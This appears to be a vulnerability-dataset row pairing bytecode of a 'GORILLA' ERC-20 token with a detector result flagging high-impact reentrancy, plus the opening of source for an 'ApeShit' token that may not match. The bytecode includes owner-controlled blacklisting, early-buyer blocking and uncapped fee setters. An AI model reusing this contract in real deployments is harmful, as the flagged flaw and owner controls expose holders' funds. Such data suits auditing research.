0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f474f52494c4c4100000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f474f52494c4c4100000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086f8c5d025a23d449852db06064880e63ef5646216ecb2cdc131846dc6b01c8564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,109 |
0xF9122FBed9B2B68C9437DbF706761F379903Bea5
|
/**
*/
//Telegram - https://t.me/apecoinisshit
//website - http://apecoinshit.com/
//Twitter - https://twitter.com/ApeShitEth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
